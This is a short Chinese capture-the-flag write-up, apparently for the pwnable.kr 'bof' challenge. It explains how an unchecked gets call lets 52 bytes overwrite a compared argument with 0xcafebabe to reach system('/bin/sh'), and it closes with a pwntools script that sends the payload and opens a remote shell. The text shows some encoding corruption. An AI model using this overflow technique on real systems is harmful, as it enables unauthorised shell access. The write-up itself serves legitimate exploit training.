思路
-檢查main函數(shù)調(diào)用了什么

main.png
-func函數(shù)實現(xiàn)了什么功能

func.png

func匯編.png
-如何使key==0xcafebabe,調(diào)用system(“/bin/sh”)
做法
-看到調(diào)用了gets,使用命令man查看gets函數(shù)定義,可知gets是讀取一整行的字符直到結(jié)束換行

man gets.png
-看到字符s(即數(shù)組overflows)的大小為-2CH,因此我們的目的是將44(2C)填滿,并且讓我們的key也被覆蓋,改變?yōu)?xcafebabe。
-由匯編的比較我們知道是arg_0與cafebabe比較

cmp.png
-我們可以知道arg_0的位置在+0x8

-因此總的覆蓋范圍應(yīng)該從-2CH到+08H,一共52個字節(jié)
from pwn import*
pwn= remote("pwnable.kr",9000)
junk="a"*0x2c + "a"*0x4 + "b"*0x4
junk+=p32(0xcafebabe)
pwn.sendline(junk)
pwn.interactive()
